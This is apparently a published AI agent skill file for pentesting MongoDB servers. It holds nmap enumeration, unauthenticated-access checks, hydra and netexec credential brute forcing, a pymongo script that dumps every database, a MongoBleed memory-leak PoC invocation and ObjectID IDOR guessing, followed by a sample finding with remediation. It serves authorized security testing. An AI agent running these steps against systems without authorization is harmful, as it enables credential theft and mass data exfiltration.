Pentesting mongodb

From xalgorix/xalgorix · View interactive version

Pentesting mongodb is an AI agent skill from the GitHub repository xalgorix/xalgorix. Testing MongoDB document databases (default ports 27017 and 27018) for no-auth/unauthenticated access, weak credentials, database and collection dumping, predictable ObjectID enumeration, config-based auth bypass, and the MongoBleed unauthenticated memory-disclosure CVE during authorized engagements

How to use this skill

Skill file

Pentesting MongoDB (port 27017)

When to Use

Quick Enumeration

# All default mongo NSE scripts (info + brute check)
nmap -sV --script "mongo* and default" -p27017 <IP>
nmap -n -sV --script mongodb-brute -p27017 <IP>     # checks if creds are needed

# Native client
mongo <IP>:27017
mongosh "mongodb://<IP>:27017"
# pymongo quick info
from pymongo import MongoClient
c = MongoClient("<IP>", 27017)
print(c.server_info())
print(list(c.list_databases()))

Critical: Checks Most Often Missed

Workflow

Step 1: Enumerate

nmap -sV --script "mongo* and default" -p27017 <IP>
mongo <IP>:27017 --eval "db.version()"
mongo <IP>:27017 --eval "db.adminCommand({getParameter:1, networkMessageCompressors:1})"  # MongoBleed check

Step 2: Authenticate (no-auth, default/weak creds, brute force)

mongo <IP>:27017                                   # try unauthenticated
mongo <HOST>:<PORT>/<DB> -u <user> -p '<pass>'     # with creds
nmap -n -sV --script mongodb-brute -p27017 <IP>
hydra -L users.txt -P passwords.txt mongodb://<IP>
nxc mongodb <IP> -u users.txt -p passwords.txt

Step 3: Exploit / Extract (dump databases + collections)

// Run these interactive commands in mongosh, not Node.js.
show dbs
use <db>
show collections
db.<collection>.count()
db.<collection>.find()                 // dump the collection
db.current.find({"username":"admin"})  // targeted lookup
# Full dump via pymongo when admin access is available
from pymongo import MongoClient
c = MongoClient("<IP>", 27017)
for d in c.list_database_names():
    for coll in c[d].list_collection_names():
        for doc in c[d][coll].find():
            print(d, coll, doc)
# MongoBleed memory disclosure (pre-auth) when zlib compressor is enabled
python3 mongobleed.py --host <IP> --max-offset 50000 --output leaks.bin

Step 4: Post-access / privilege escalation / pivot

Key Concepts

| Concept | Description |

|---------|-------------|

| No-auth default | mongod accepts connections without credentials unless auth/security.authorization is enabled. |

| admin database | Default administrative DB; presence of privileged users indicates auth is configured. |

| ObjectID structure | 12 bytes = 4-byte timestamp + 3-byte machine id + 2-byte PID + 3-byte counter (predictable). |

| OP_COMPRESSED / zlib | Wire-protocol compression abused by MongoBleed to over-allocate and leak heap. |

| MongoBleed (CVE-2025-14847) | Unauthenticated heap memory disclosure on 27017 when zlib compressor enabled. |

| noauth config | noauth=true / missing auth=true in mongodb.conf disables authentication. |

Tools & Systems

| Tool | Purpose |

|------|---------|

| mongo / mongosh | Native shell for connecting, enumerating, and dumping collections. |

| pymongo | Scriptable client for server info and full database dumps. |

| nmap NSE | mongodb-info, mongodb-databases, mongodb-brute. |

| Metasploit | scanner/mongodb/mongodb_login and related auth modules. |

| netexec (nxc) | nxc mongodb <IP> -u .. -p .. for auth/spraying. |

| mongo-objectid-predict | Generate likely next ObjectIDs for IDOR enumeration. |

| mongobleed.py | PoC for CVE-2025-14847 unauthenticated memory disclosure. |

Common Scenarios

Scenario 1: No-auth → full dump

mongo <IP>:27017 connects without credentials. show dbs lists application databases; iterating collections with pymongo exfiltrates user records and secrets.

Scenario 2: ObjectID IDOR

An app exposes Mongo _id values in URLs. Using mongo-objectid-predict, the tester guesses adjacent ObjectIDs and accesses other users' documents through the app.

Scenario 3: MongoBleed credential leak

A 27017 instance has zlib compression enabled and a vulnerable version. The PoC repeatedly probes OP_COMPRESSED with oversized uncompressedSize, leaking heap fragments containing another tenant's credentials, all pre-authentication.

Output Format

## MongoDB Finding

**Service**: MongoDB
**Port**: 27017/tcp (MongoDB 4.4)
**Severity**: Critical
**Finding**: Unauthenticated MongoDB exposing all databases
**Evidence**:
  - `mongo <IP>:27017` connected with no credentials
  - show dbs -> admin, config, app_prod (users collection: 12,400 docs)
  - db.app_prod.users.findOne() -> bcrypt password hashes + emails
**Impact**: Full unauthenticated read/write access to all stored data, enabling mass data theft and tampering.
**Recommendation**:
  1. Enable authorization (`security.authorization: enabled`) and create least-privilege users.
  2. Bind to localhost / private interfaces and restrict 27017-27018 by firewall.
  3. Disable the zlib network compressor or patch to address CVE-2025-14847.
  4. Avoid exposing predictable ObjectIDs in application interfaces.
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.